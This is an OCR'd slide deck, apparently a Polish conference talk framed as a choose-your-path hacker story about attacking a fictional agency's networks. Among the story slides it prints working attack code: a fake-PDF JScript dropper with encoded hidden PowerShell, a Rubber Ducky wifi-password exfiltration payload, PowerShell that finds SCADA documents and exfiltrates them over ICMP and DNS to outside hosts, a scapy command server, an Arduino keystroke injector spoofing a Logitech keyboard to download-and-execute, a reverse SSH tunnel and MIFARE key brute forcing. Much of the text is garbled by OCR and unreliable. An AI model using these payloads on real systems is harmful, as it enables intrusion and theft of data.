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‘W <Ruda> Powinienes odszyfrowa¢ moje pliki.

D \
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<DarkSeeker> Niby dlaczego? o
LY AR ;
<Ruda> Bo gramy do jednej bramki. 3
(= Al
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witadi-Dark <Ruda> Ekipa sie spisata! Mamy wszystko! 1¢? Oktamatasé mnie.
— . 8 R e .. . :
Cig.. TO i <DarkSeeker> No céz. Jednak warto czasem . dzina. Nie mam
Styszates ¢ poprosi¢ 0 pomoc.
i1 ita CVill ok — ] = A _ i:’ —— .
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<Ruda> MAO juz sig z tego nie otrzasnie.
<Dark$eeker> Co dalgj?

T4 W A, S
<Ruda> wiat bedzie potrzebowat nowego lidera.
& O A

<Dark$eeker> Nie patrz tak na mnie. Jak chcesz,

]
: . '_."
=
.4\\‘- a3 k r : y

»” :
to sama sie w to baw.
AN @200
: <Ruda> Zasuadnesz chouaz w Nowej Radzue?  vstwu
‘ <Dark$eeker> Dzieki, posto;e Ale bede miat was b
~ Fnaoku, siostrzyczko..

P ﬂ TR e Yie pod
—_— S <Ruda> L|cze na to. e
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<Ruda> Jest problem. I\/Iieélzynarodowa Agencja Odbudowy nie upad’fa.

S . Egr N\
<DarkSeeker> Jak to mozliwe? Przeciez z Glitcherem i resztg ekipy upublicznilismy

wszystkie ich brudy. Sfatszowane wybory, eksperymenty na ludziach, nawet te

pieprzone podziemne serwerownie z dzieCmi podpietymi do sieci.
S

<Ruda> To nie wystarczyto. Chociaz trzyma im sie to wszytko na sznurkach, to oni

Wcigz rozdajg karty. | jest cos jeszcze..
- HEEE T ] DTS

L T T -r ™ ™ = T T
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<DarkSeeker> Mow.
Y
<Ruda> Nie chca powtorkl Odpalajg operacje Czystka Wiedzy. Unieszkodliwienie

wszystkich technicznych, ktorzy nie przeszli na ich strone. Hakerzy. Admini.

Programisci. Ty. Ja. Wszyscy.
B
<DarkSeeker> Wiedziatem, ze kiedys do tego dojdzie. Musimy znowu uderzyc. Ale nie

bedzie to juz tylko sabotaz, nie tym razem.
- DTt

<Ruda> Masz plan?
SR

<DarkSeeker> Mam gniew.. Roip***my ich. Do fundamentow. Apkl systemy,

firmware. Zaatakujemy im nawet chtodzenie w serwerowniach. Zrobimy z nich gruz.
3 " T LTS 4
<Ruda> To bedzie Jak Stuxnet.. ale na sterydach?
W W TS i
<DarkSeeker> Nie.. To bed2|e koniec epok|

=~ AR . > AN

<Ruda> To od czego zaczynamy?
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Glitcher to bg’f y agent
wgwiaclu, |<tc’>r9 wgkorzgsta’f

swole umiejc;tnoéci, abg PO

al:)c; Kalipsie stworzyc siec
imcormacgjna, Pomég Dark
Seekerowi w zebraniu ekipy
hakerc’)w, z ktérgmi wgkrac”i
MAQO wraz’;liw clokumentg.

o Jesl; wybicrasz sie do

Glitchera, idziesz na

o Jesli kontakt
Archiwistad

slajicl A1.

ulesz sie z

7ZiesZ  Na

Archiwista to prawa r¢|<a
kanclerza MAO. W zamian za

: odszgacrowanie Pli kAw

zdradzit Dark Seekerowi
kilka imcormacji. Dark Seeker
czuje, ze %aczg ich wsPc’)ln9
Wrog 1 moga sobie Poméc
nawzajem.
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VAXstation 5200, lata 1980

Architektura:
VAX (Virtual Address eXtension), §Z~bitg)
CISC

RAM:
I6MB

Sgstem oPeracw'nyz
Ol:)en\/MS

AL 2000. lata 1980

B Architektura:

l:)f'éﬂl( daﬂﬂCh

RAM:
brak dangch, wgstarcza Nna Doclstawowc

obliczenia

‘ Wbuciowang komparator ra|< W gérze

Sgstem oaerac\gjing:
CHsOH OS
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Seekerowi w zebraniu ekil:)9

Glitchera, idziesz na

hakerc’)w, z ktérgmi wgkrac”i
MAO wrazliwe clokumentg.
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Archiwista, |

5|aJicl .

o Jesli kontaktzjesz sie z

7ZiesZ  Na

Archiwista to prawa r¢|<a
kanclerza MAO. W zamian za

: oclszgacrowanie Pli kAw

zdradzit Dark Seekerowi
kilka imcormacji. Dark Seeker
czuje, ze %aczg ich wsPc’)ln9
Wrog 1 moga sobie Poméc
nawzajem.
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Od: Glitcher

MAO Posiacla 2 slecl:

MARPNET - sie¢ biurowa, w ktérf:jjuz bgliémg,

GRIDNET -~ zamknif;ta sie¢ sterownia maszgnami.

Dziwie sie, ze bBig Bit Faillure niczego ich nie nauczg’f ~ Wszystkie
urzadzenia, maszyny, hale Proclukcgjne maja wl:)ic;te do
GRIDNE Tu.

GRIDN!

OPerator29 na stacjac]ﬁ roboczgcln Prawie Ric e m.zaj'a‘,jec:lgng

fll =5t

ke styku z MARPNETem, to zamknieta wyspa.

e

4 soft gaki POJawia siec w doxach to MAO SCADA Link. To moze
? bﬂé

lucz. Warto dowiedzieé sie o nim Wi@CCEj. Odezwij sie do Nexy.
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Nexa zaProPonowana, Ze Pocl Pretekstem rozmowy o

prace Wﬂbierze sic do MAQ i z ngorzgstaniem Pendri\/e ~
wstrzylmie Pagload, ktérg Poszuka na AHSkach

sieciowgch clokumentacji MSL ija wgkradnie.

e Jesli Nexa ma uZyc’: PowerShell + BadUsp (Rubber
Duckg) idziesz na

e Jesli Nexa bierze zwgldego Penclrive 7 Plikiem Nexa-
Curriculum\/itac.Pc#jsjako malware idziesz na slajicl 1.
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Nexa-Curriculum
Vitae.pdf

shell = new ActiveXObject("WScript.Shell");
shell.exec("powershell -w h -enc
aQB3AHIATABoAHQAJABWAHMAOgAVACBAYQBwWAHQAbQBJAC4AcABSACBAYwWBhAGw
AYwBBAGKAZQB4AAOACgA=");
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Od: Nexa

Skrgptg j's maja zablokowane.

zaimp ementujé; sgmulacjc; klawiaturg
siqzjako Logitech i uclaja‘c wPisgwanie

Odezwe sie.

| tak i tak Przygotowajfam Rubber Duckg, ale komputer na

recepcji nie rozPoznan nowej klawiaturg. Ja|<39 mieli
zablokowane. Ale mam Plan B. ZauwaZnyam, 7d recepcjonistka
Pracu{e na klawiaturze L_.ogitecha) wezme jakieé Arduino i

DO swojemu, Przedstawiajac

Klawiszg czfowiekiem .



I « »>» O 25 github.com/hak5/usbrubberducky-payloads/blob/master/payloads/examples/Exfiltration/Exfiltration-examgple1.txt = % . W e * w 8 9 ¥,
= 0 hak5 / usbrubberducky-payloads Q Type (/) to search 8 ~ + ~ OMBYERE® m
(> Code () Issues " I} Pullrequests 36 () Actionrs [ Projects () Security |~ Insights
(]l Files usbrubberducky-payloads | payloads | examples [ Exfiltration / Exfiltration-examplel.txt &
¥ master 2 |5t & dallaswinger fix quotes 01a'e87 - 3yearsago (1) History
Q Go tofile
Code | Blame 13 lines (11 loc) ' 814 Bytes 8 Rw D & 2 ~ [
> BB .github
> @@ languages 1 REM Example Simple USB Exfiltration Technique for Windows
p. ATTACKMODE HID STORACE
~ [ payloads 3 DELAY 2000
4 GUI r
v @@ examples - TR
v [ ATTACKMODE 6 STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DrivelLetter;netsh wian show profile name=(Get-NetConrectionProfile).Name <ey=clear|?{$_-
7 ENTER
() ATTACKMODE-examplel.txl g
[ ATTACKMODE-example2.txt 9
10 REM This short Powershell one-liner executes from the Windows Run dialog.
> B Button 11 REM The drive letter of the volume with the label “DUCKY" is saved as $m.
3 Conditi 12 RFM The netsh command will get the natwork name and passphrase for the currently connectec network ((Get-NetConnectionProfile).Name).
B Conditions 13 REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY"” drive, saved :

v [ Exemple_Paylcads

<

[ konami_cave txt
[ payload_menu.txt
@ Exfiltration
[9 Exfiltration-example1.txt
[ Exfiltration-example2.txt
[ Exfiltration-example3.txt
[ Exfiltration-example4.txt
> B Functions

> BB Holding Keys

//github.com/hak5/usbrub

béré uc‘kf payioads


https://github.com/hak5/usbrubberducky-payloads
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Od: Nexa

Recepcjonistka w”’oZHJfa mojego Rubber Duc|<9, ale komputer nie
rozPozna’f nowe:j Klawiaturg. Jakbg mieli zablokowane. Ale mam

Slan B Z_auwazg“am, i recepcjonistka Prac:uje na klawiaturze

|

__.ogltecha, WCZMC JalOCS Arclumo J ZalmPlémCﬂtLﬂ@ sgmu agc;

Klawiatury po swojemu) Przeclstawiaja‘c sié;jako Logitech i udaJa‘c
wPisgwanie kawiszg cztowiekiem. Musze t9||<o ngﬂélié kana’fg

inﬁltracji | eks*%ltracji.

Odezwe sie.



ngierz sposéb Pobrania Pagloadu do szukania dokumcntacji '

i eksﬁltracji clangch:

e Pobranie ICMP, eksﬁltracja ICMP

e Pobranie DNS, eksﬁltracja DNS

e Pobranie ICMF, eksﬁltracja DNS

e Pobranie DNS, eksﬁltracja ICMP
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Wgéwietlenic zmapowangch dgsl«’)w

Get-PSDrive —-PSProvider FileSystem
Wgszukanie na dgskach Plikéw 51:)6:1L niaja‘cgch kryteria

Get-PSDrive —-PSProvider FileSystem { gci -ea 0 -r "$($_.name):"
filter 'sxscadax.pdf' } Select-0Object —-ExpandProperty FullName




Eksﬁltracja P|i|<u ICMP

(gc —raw plik.pdf) —-split "(?s)(.11472})" —-match "."|%
{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100,
([Text.Encodingl::UTF8).GetBytes($_))}

Eksﬁltracja Pliku DNS

(-join ((gc —-raw plik.pdf).ToCharArray() |%{"{0:X2}"-flint]l$_
"(.{64})" -match "." -replace "([\w]{16})", " $1.").trim("'."'
{ Resolve-DNSName "$ .$(($i++)).alphasec.pl"}

~

',.—. !!. ma—
Rl

’ “~ -

. '-Hi



http://alphasec.pl

Eksﬁltracja Plikéw ICMP

Get-PSDrive —-PSProvider FileSystem | % {1 gci -ea 0 -r "$($_.name):"

—filter "xscadax.pdf" } | % 1 (gc -raw $_.FullName) -split "(?s) (.
{1472})" -match "."|%

{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100,
([Text.Encoding]::UTF8).GetBytes($ ))} }

Eksmtracja Plikéw DNS

Get-PSDrive —-PSProvider FileSystem | % { gci —-ea 0 -r "$($_.name):"
—filter "xscadax.pdf" } | % 1 (-join ((gc -raw
$_.FullName).ToCharArray() |%{"{0:X2}"-f[int]l$_}) —split "(.{64})"
-match "." -replace "([\w]l{16})", " $1.").trim(".")|%{ Resolve-
DNSName "$_.4$(($i++)).alphasec.pl"} }




#! /usr/bin/env python3
# sysctl net.1ipv4.icmp_echo_ignore_all=1

from scapy.all import

payloads = {

b'"scadaicmp": b'Get-PSDrive -PSProvider FileSystem | % { gci -ea @0 -r "$($_.name):" —filter "skscadax.pdf" } | % 1
(gc —raw $_.FullName) -split "(?s)(.41472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl",

100, ([Text.Encodingl::UTF8).GetBytes($ ))} }',

b'"scadadns": b'Get-PSDrive —-PSProvider FileSystem | % { gci -ea @ -r "$($_.name):" —-filter "xscadax.pdf" } |
{ (-join ((gc -raw $_.FullName).ToCharArray() [%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})",

"*$1.").trim("'.") |%{ Resolve-DNSName "$_.$(($i++)).alphasec.pl"} }'
¥

def handle_ping(pkt):
if (pkt.haslayer(ICMP) and pkt[2].type == 8):
try:
dst = pktl[1].dst
src = pktl[l].src
seq = pkt[2].seq
id = pkt[2].id
payload = pkt[3].load

response = payloads.get(payload, payload)

print ("payload from %s: %s, response: %s" % (src, payload, response))

reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/(response)

send(reply,verbose=False)
except:
pass

if __name__== " main__":
iface = "etho"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)

0
)
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RwB LAHQALQBQAFMARABYAGkAdgB LACAALQBQAFMAUABYAGB8AdgBpAGQAZQBYACAARgBpAGWAZQBTAHKACcwBOAGUADQAgAHWAIAA LACA
AewAgAGCAYwBpACAALQBLAGEAIAAWACAALQBYACAAIgAKACgAJABTAC4AbgBhAGOAZQAPADOATIgAgACOAZgBpAGWAJABLAHIAIAALIAC
0AcwBjAGEAZABhACOALgBWAGQAZgA1ACAATQAgAHWAIAA LACAAewAgACgAZwB]ACAALQBYAGEAdwAgACQAXwWAUAEYAdQBSAGwWATgBhA
GOAZQApACAALQBzAHAAbABpAHQAIAA1ACgAPwWBZACKAKAAUAHSAMQAOADCcAMgBOACKAIgAgACOADQBhAHQAYwBOACAAIgAUACIATAAL
AHSATABbAE4AZQBOAC4ATgB LAHQAdwBvVAHIAawBJAG4AZgBvAHIADQBhAHQAaQBVAG4ALgBQAGkAbgBNnAFOAOgABAG4A4AZQB3ACgAKQA
UAFMAZQBUAGQAKAA1AGEAbABWAGgAYQBzAGUAYwAUAHAADAA1IACWAIAAXADAAMAASACAAKABbAFQAZQOB4AHQALgBFAG4AYwBVAGQAaQ
BUuAGCcAXQA6ADoAVQBUAEYAOAApPAC4ARwB LAHQAQgB5AHQAZQOBZACgAJABTACKAKQBOACAATQA=

scada.
scada.
scada.
scada.
scada.
scada.
scada.
scada.
scada.

icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp

IN
IN
IN
IN
IN
IN
IN
IN
IN

TXT
TXT
TXT
TXT
TXT
TXT
TXT
TXT
TXT

II1
II2

II9

. RwBAHQALQBQAFMARABYAGKAdgB LACAALQBQAFMAUABYAGSAdgBpAGQAZQBYACAA"
. RgBpAGWAZQBTAHKAcwBOAGUAbQAGAHWATIAA LACAAewAgAGCAYWBPACAALQB LAGEA"
II3.
LV
II5.
II6.
II7-
"g.

TAAwWACAALQBYACAAIgAKACgAJABTAC4AbgBhAGOAZQAPADOATIgAgACOAZgBpAGWA™
dABLAHIAIAA1ACoAcwBjJAGEAZABhACOALgBWAGQAZgA1ACAATQAgAHWAIAALACAA™
ewAgACAAKABNnAGMATIAATAHIAYQB3ACAAJABTAC4ARgB1AGWAbABOAGEADQB LACKA™
TAAtAHMAcABSAGKAJAAgACIAKAA/AHMAKQA0AC4AewAxADQANwWAYAHOAKQA1ACAA™
LQBtAGEAdABJAGgAIAA1AC4AIgBS8ACUAewAgAFsATgBLAHQALgBOAGUAJAB3AGSA™
cgBrAEKAbgBmAG8AcgBtAGEAJABpAGBAbgAUAFAAaQBUAGCAXQAB6ADoAbgB LAHCA™
KAApAC4AUwB LAG4AZAAOACIAYQBwWAHQABQAUAGKAbgA1ACWATIAAXADAAMAASACAA™

—?-—
-

~—T—~ Y
;g . »
- '.

i -

scada.icmp IN TXT "10.KABbAFQAZQB4AHQALgBFAG4AYwBVAGQAaQBuUAGCAXQAGADOAVQBUAEYAOAAPAC4A™
scada.icmp IN TXT "11.RwBlAHQAQgB5AHQAZQBzACgAJABTACKAKQB9ACAATQA="

scada.dns IN TXT "1.RwBlAHQALQBQAFMARABYAGkAdgBLACAALQBQAFMAUABYAGBAdgBpAGQAZQBYACAA™
scada.dns IN TXT "2.RgBpAGwAZQBTAHkAcwBOAGUAbQAgAHWATAATLACAAewAgAGCAYwBpACAALQBLAGEA"
scada.dns IN TXT "3.IAAwACAALQBYACAAIgAKACgAJABTAC4AbgBhAGOAZQApPADOAIgAgACOAZgBpAGWA™
scada.dns IN TXT "4.dABLAHIAIAA1ACoAcwBjAGEAZABhACOALgBWAGQAZgAiACAATQAgAHWATIAALACAA™
scada.dns IN TXT "5.ewAgACgALQBgAG8AaQBUACAAKAAOAGCAYWAgQACOAcgBhAHCAIAAKAFS8ALgBGAHUA™
scada.dns IN TXT "6.bABsSAE4AYQBtAGUAKQAuUAFQAbwBDAGgAYQBYAEEAcgBYyAGEAeQAOACKATAALAHSA™
scada.dns IN TXT "7.IgB7ADAAOgBYADIATQA1ACOAZgBbAGKkAbgBOAFOAJABTAHOAKQAgACOACWBWAGWA™
scada.dns IN TXT "8.aQBOACAAIgA0AC4AewA2ADQATQAPACIAIAAtAGOAYQBOAGMAaAAgACIALgA1ACAA™
scada.dns IN TXT "9.LQByAGUAcCABSAGEAYwBLACAAIgAoAFSAXAB3AFOAewAxADYATQApACIALAAgACIA™
scada.dns IN TXT "10.YAAKADEALgA1ACkALgBOAHIAaQBtACgAIgAuACIAKQBS8ACUAewAgAFIAZQOBzAGSA™
scada.dns IN TXT "11.bAB2AGUALQBEAE4AUwBOAGEAbQBLACAAIgAKAFB8ALgAKACgAKAAKAGKAKWArACKA™
scada.dns IN TXT "12.KQAuAGEAcCABOAGOALgBpAG4ALgBWAGWAIgBOACAATQA="

R i e 4 \ e —
R -""‘7 Yy s / B 7// /‘ e




#!/bin/bash

if [ _Z II$1II ] ‘ ‘ [ _Z II$2II ] ; then
echo "Uzycie: $0 <string> <maksymalna dlugosc>"
exit 1

fi

input_string="$1"
chunk_size="$2"

echo "$input_string" | fold —w "$chunk_size"™ | nl -wl -s"."

drge = /conti2 S5 /chunlks Ssh

Uzycie: ./chunks.sh <string> <maksymalna dlugosc>

drge~/confi25» ./chunks.sh "1234567891234567823456/8wertyudfghxcvb" 160
254567 891

2.2345678234

5.56/78wertyu

4 .dfghxcvb

drge~/confi25» |

R R

e,

x .
-




ICMP in, DNS out

—join [charll]([Net.NetworkInformation.Ping]::new().Send("kali.aptmc.pl",

100, [Text.Encoding]::UTF8.GetBytes('"scadadns")).Buffer) |iex

ICMP in, ICMP out

—join [charll]l([Net.NetworkInformation.Ping]l::new().Send("kali.aptmc.pl",

100, [Text.Encoding]::UTF8.GetBytes('"scadaicmp")).Buffer) |iex

DNS in, DNS out

[Text.Encoding] ::UTF8.GetString( [Convert]::FromBase64String((((Resolve-
DnsName -Type TXT scada.dns.aptmc.pl).Strings | Sort-Object { ($_ -split
'\."')[0] -as [intl} ) -replace '“\d+\.',"'') —-join ''))

DNS in, ICMP out

[Text.Encoding]l: :UTF8.GetString( [Convert]::FromBase64String((((Resolve-
DnsName -Type TXT scada.icmp.aptmc.pl).Strings | Sort-Object 1 ($_ -split
'\."')[0] —as [int]l} ) -replace '~\d+\.','') -join '')) w

|
yo
\

g
|
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#include "Keyboard.h"
w

void typeKeys(const charx keys, int delayTimeMin =
while (xkeys) {

}

Keyboard.write(xkeys++);

delay(random(delayTimeMin, delayTimeMax));

void setup() A
Keyboard.begin();
delay(2000);

¥

void loop() {

Key
Key
Key

poard.press(KEY_LEFT_GUI);

poard.press('r

poard. releaseAl

delay(200);
typeKeys("powershell -w h —c \"iwr aptmc.pl/calc|iex\"");

Keyboard.write(KEY_RETURN);

while (true) {

}

delay(1000);

a2
1();

micro

micro.

micro

Mmilcre:
ak{eaels}
.build
.build.
S DUERLEGCIE
[BrIasicls

micro
micro
micro

micro.

el sl
o1l ELiLal
.build.
.pid=0xc3lc
.usb_product="Arduino Logitech"
.board=AVR_MICRO

build
build

100, int delayTimeMax = 500){

vim ./packages/arduinof/hardwarefavr/1.8.6/boards.txt

.mcu=atmega’iZu4

f cpu=16000000L
vid=0x046d

core=arduino
variant=micro
extra_flags={build.usb_flags}

aptm.in/protip/003c

—


https://aptm.in/protip/003c#more

|

| i
{ yp ” » y )
( [ ( / j“ \' A' i ’ .' L J ., A' \’

— — ~ < 4

N —

R S i e e T
Do: Sl:)ectrax

| Spec’tra, czy mogfabgé zerknaé Arelie clokumentacjf; - to Twoje
' k!imatg. MAO SCADA Link zainstabwang jest na wszgstkiclq
stacjach oPeratorsldch w GRIDNETcie. Znajdi cokolwiek, co

Pozwoli nam zwic;kszgé sit e razenia naszgch dziatan.

Cheers,
DS

DPERATOR INTERFACE
& CONTROL NODE AGENT

REGAIN CONTROL




<DarkSeeker> \Wybrates strone?
T ——————— 1A
<Archiwista> Nie wiesz do czego sg zdolni. Sam fakt, ze z Tobg rozmawiam jest dla

mnie Smiertelnym zagrozeniem.
Wy e

<DarkSeeker> Wiekszym zagrozeniem jest pozostanie w MAO. Zapewne wiesz 0

operacji Czystka Wiedzy. Poszliscie o krok za daleko. Pycha kroczy przed upadkiem.
T ——————
<Archiwista> Odradzatem to. Ale to juz nieistotne. Mozemy sobie pomoc.
= "I
<DarkSeeker> Co masz na mysli?

Vi T ICmccccccccccccccccccccccuccccmmhtiiiiA E
<Archiwista> Dam Ci cos, co wyroOwna szanse.
R N D s .

<DarkSeeker> Jak domyslam sie, nie za darmo?
T —————.

<Archiwista> Jeéli faktycznie uda Wam sie potozyé MAO, chce funkcje doradcy nowej

rady. Znam wiekszos¢ tajemnic MAO. Wszyscy na tym skorzystamy.
R ——— "

<DarkSeeker> Po tym co MAO zrobito dla $wiata, po wyzwoleniu kazdy kto z nimi
trzymat zostanie zlinczowany.

N & «w = a N TS /
<Archiwista> To moj drugl warunek DET[S m| noway tozsamos';c':.
“p FTI .. O
<DarkSeeker> Prze myslimy to.
‘ )




o Jesli zgaclzasz sie Na PrOPOZQCJCP Archiwistg, idziesz na

o Jesli SPUSZCZaSZ Archiwiste na |

DAl

bus, idziesz na slajicl 2




Glitcher oraz Iron Root ngaénili Cy, Ze wic;cej zgskaszjeéli Archiwista okaze
sie st owny niz straciszjeéli okaze sie inaczej :

o Jesli zgaclzasz sie na Propozycjc; Archiwisty, idziesz na

o Jesli zgaclzasz sie na Propozgcjc; Archiwistg) jeclnak Poclaja‘c mu dfon
patrzysz na niego z nieutnoscia, idziesz na
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o Wakacje ~ chwilowojeclen port sie zwolnit e CzgsC Iokalizacji (tawerna) tylko FIN
* Maszynownie - karta + PIN

L — - — - . —
> - o~

o MAOjeszcze nie umie w 802.1X
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IC INFO NOEF EXTRA FULL SCAN

———
® NFC dala sel information

NOFE merenge enmainirg 1 recard
Cumant mesaana aize: 12 bAee
Medmum rnssssge = wee 23 byles
NEC dato sef cooess Hood & Write

= Record #1; Text record

Typ= Ham= Format NFC Farum sdHinosn e
Shat Renord

et 'T

encading: UTFE

lang: ‘at

taxt: “hello®

Paylnad langthe 8 byvies

Puyload dale:

J30) 02 ES SF BE &5 bl &C RE Jeenelal

* NDEF message
730) 01 &7 OfF 54 02 65 5% ER |- -T-enh|
L] BN AL A AR jello |

= NDEF Capabillity Contalner {CC}
Mapping wersion: 1.0

Neamum NOEF dele 328; 32 Cytes
NDEF ecess. Reed & write
Supportz bvantcey Page Read

"501 E1 48 04 02 |8 m

< O O

f‘ajnie b ?ngfo miec..

"
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M5STACK
1400mAh  MAGNET

BATTLRY

SPEAKER e
1\/\/ | ; : . RS s
1 A5, %" e - 'cv_é-.“f__ L :
L14"  STAMPSS A o T
IPS-LCD SRt e

BUTTON

GO

MICRD
G4 BUTTON =D

RST
ESP32
120mAnN Ll

INSIDE

4x14 KEYBOARD

KEYBOARD  1.14"LCD@ST7789V2
rOve PDM-MIC@SPM1423
 @ez 12S-SPEAKER@NS4148
BATTERY@120mAh+1400mAh
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. M5Burner - v202505131300
7\ Found New Device

CORE Search

. Only Official

IHODCRHR|Bc

BacUSB for the Cardputer witr. M5Bumer - v202505131800 N -

()
O
Py
m
n
(%

STICKC 2 3
Now with Bluetooth connectior CORE
Now with multiple keyboard lay =~

ATOM fr_BE) B ony officizl
Now with foldersl ELRE S

ATOMS3

& corsss M5Launcher Cardputer 248

MSLauncher for Cardputer. With this app you can turn your device into a swiss Knite, loading any .bin you have on your SD Card or
STICKC wirclessly downloading frcm MEBuUrner repo or from your computer/smartprone threugh its WebUl.
4423 03 € Githut Tutorial: https:/fyoutu.befodIHWZ03shl

T-LITE ATOM L a u n C h e P Suppart me: https://buymeacaffee.com/bmorcelliz

STICKV & UNITV

mQ 0O 6 (13

- Wiki: https://githud.comybmorcelifMSStick-Launchar/w k JObtaining-b naries-to-launch
CAMERA H = B MS3
[ state - Osoannim |[ var - 1e0 [l OPENWIFIScan L wows: SRR o8
. P — . - This tool continuously scans f¢ m CTICNV & UNITV P e ‘ x o ;
- CateFreeifi  OFEN | ueb  cpen networks. i dispiays the derac 132212 D70 O Githid - ¥ Dowrload .
-~ x Ueak Netword WEP 1 3 T LITE
TI\BD wx Home _WiFi ..* X ... OIm SCREEN: :
u COREINK Keys + < > AV Soan/Stop * ok O cavera P
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- E‘s PAPER CHECK OUR GITHUB! supporting CC1101 znd NRF24
. STAME https://github.comjpr3y/Bruce/
': STAMPS 3 : - . Qn ##3# Our wiki: https://github.com/pr3y/brucejwiki ### Discord: https://discord.gg/\WJOXF3czVT
— D COREINK sssene el
* cvee | I st /Bluctooth - .-
. STAMP |
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DIAL MS—kedboard—ouse -~
) : Implements a USB and Bluetoc & =~ VP99
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K e Firmware for high-tech pranks
e CAROFUTER m DIAL : : * TV B-Gone - shut off 1Vs, projectors and other devices
I Tt ol * WiFi Spam - Funny SSIDs, Random SSIDs, and of course Rickroll WiFi
DINMETER " oo eDeSeBRa® * WiFi Scanning - List nearby SSIDs and get information about them
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#include <M5Stack.h>
#include "MFRC522 I2C.h"
MFRC522 mfrc522(0x28):

void setup()

{
M5.begin();
M5.Power.begin();
M5. lcd.setTextSize(2);

M5.Lcd.println("MFRC522 I2C Reader");

Wire.begin();

mfrc522.PCD_Init();

M5.Lcd.println("Please put the card\n\nUID:");

}

void loop()

{
M5.Lcd.setCursor(40, 47);

if (!mfrc522.PICC_IsNewCardPresent() ||

delay(200);
return;
s
M5.Lcd.fillRect (42, 47, 320,
for (byte 1 = 0; i < mfrc522.
M5.Lcd.print(mfrc522.uid.
M5.Lcd.print(mfrc522.uid.

s
M5.Lcd.printin("");

20, BLACK);

'mfrc522.PICC ReadCardSerial()) {

uid.size: i++) {
uidByte[i] < @x10 ? " 0" : " ");

uidBytel[il],

HEX) :




e A

- 4

Q06

-

& rfid_decfault_keys | Arduino IDE 2.3.6

¥ M5Cardputer v N o

rfid_default_keys.ino

30 #include <SPI.h>
31 #¥include <MFRC522.h>
32
33 #define RST_PIN 3 // Confiqurable, see typical pin layout above
34 #define 5S_PIN 10 // Configurable, see typical pin layout above
35
36 MFRC522 mfrc522(SS_PIN, RST_PIN); // Create MFR(522 instance.
37
38 // Number of knowr default keys (hard-coded)
39 // NOTE: Synchronize the NR_KNOWN_KEYS dafine with the defaultKeys[] array
49  #detine NR_KNOWN_KEYS B
41 // Known keys, scc: https://code.google.com/p/mfcuk/wiki/MifareClassicDefaultKeys
42 byte knownKeys[NR KNOWN KEYS] [MFRC522::MF KEY SIZE] = {
43 {oxff, oOxff, exff, Oxff, Oxff, Oxff}, // FF FF FF FF FF FF = factory default
44 {0xad, Oxal, @xa2, Oxa3, 0xad, OxaS}, // A0 Al A2 A3 A4 A5
45 {oxbd, Oxbl, exb2, Oxb3, ©xb4, Oxb5}, // Be B1 B2 B3 B4 BS
46 {Ax44, 0x3a, Ox99, @xc3, Ax51, Oxdd}, // 4h 32 99 €3 51 DD
47 {0x1a, 0x98, @0x2c, Ox7e, Ox45, 0x9a}, // 1A 98 2C 7E 45 9A
48 {0xd3, oxf7, @xd3, oxf7, @xd3, Oxf7}, // D3 F7 D3 F7 D3 F7
49 {0xaa, oOxbb, éxcc, Oxdd, @xee, Oxrfr}, // AA BE CC DD EE FI
50 {0x02, 0x00, Ox00, Ox00, @0x00, Ox0Q} // 00 00 00 00 00 00 5
51 }:
52
53 /¥
54 * Initialize.
55 */
56 void setup() {
57 Serial.begin(9600); // Initialize serial communications with the PC
58 while (!Serial); // Do nothing f ro serial port is opened (added for Arduinos based on ATMEGA32U4)
59 SPI.oegin(]; // Init SPI bus
60 mfrc522.PCD Init(); // Init MFRC522 card
61 Serial.println(F("Try the nost used default keys to print block @ of a MIFARE PICC."));
62 }
63 .
64 e
65 * Helper routine to dump a byte array as hex values to Serial.
6 | !/
67  void dumo_byte array(byte +buffer, byte bufferSize) { F -
68 for (byte 1 = @; i < bufferSize; i++) {
69 Serial.print(bufferlil < 6x10 ? " @" : " ");
70 Serial.print(buffer[i], HEX);
71 }
72 }
73
74 /*
£ indaxing: 27/56 Ln 1, Col1 MS5Cardputar on /dev/cu.usbmodem2101 [



Archiwista POCH aczy Twcy’e urzadzenie do MARPNEtu.

o Jesli clajesz mu Access Foint, ktérg
jako WAN bedzie miat MARPNET, co
PO Po’faczeniu przez Wil Pozwoli C

Wéjéé do ich sieci, idziesz na

F

o Jesli clejesz minikomputer z Linuxem,

<to ryr

{
nNosta,

1 zestawi tunel do Twojcgo
umoZliwiajacg Po’faczenie SSH,

idziesz na slajicl 36.




Archiwista Przyjmujac Access Point ostrzeg Cig, ze nieautoryzowane sieci

WiF1 sa monitorowane. Wracasz na poprzeclni slaicl.
S 7




@ #!/bin/bash

# echo '/usr/local/bin/ssh tunnel.sh &' >> /etc/rc. local

REMOTE_USER="darkseeker"
REMOTE_HOST="tawerna. freeworld.org"
REMOTE_PORT=2222

| OCAL_PORT=22
PRIVATE_KEY="/home/darkseeker/.ssh/id_rsa"
_0G_FILE="/var/log/ssh_tunnel. Log"

while true; do
date=$(date '+%Y—-%m—%d %H:%M:%S")
echo "$date — Préba ustanowienia tunelu SSH..." =>> "$LOG_FILE"

ssh —i "$PRIVATE_KEY" -N —-R ${REMOTE_PORT}: localhost:${LOCAL_PORT} ${REMOTE_USER}@${REMOTE_HOST}

EXIT _CODE=%$7
date=$(date '+%Y-%m—%d %SH:%M:%S")
echo "$date - Potgczenie zakonczone lub nieudane (exit code: $EXIT_CODE)" =>> "$LOG_FILE"

sleep 1
done

https://aptm.in/protip/0023



https://aptm.in/protip/0023

MIEDZYNARODOWA

AGENCJA ODBUDOWY

Wprowadz swdj indywidualny, szeSciocyfrowy PIN

Wejdz



http://printer-103.marpnet:8000

WprowadZ swoj indywidualny, szeSciocyfrowy PIN

Wejdz

}i Z.@bg SPT'BWClZIC CZﬂ mozna ZFO,DIC ertC FOFCC na Plﬂg

MmusIsz ZOFDBCZHCJB‘( wyglacla zaclame

e Jesli wgéwietlasz zrodto strony, idziesz na slaJid 9.

i o Jesli uzywasz f)url:) Suite, idziesz na

o JCSII Plszesz szybkle proxy w F’ythome Wyswetlajace
dane POST, idziesz na 5|a|cl 41.




67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

<boday>
<div class="1logo">
<img src="/static/logo.png">

<br>
</div>
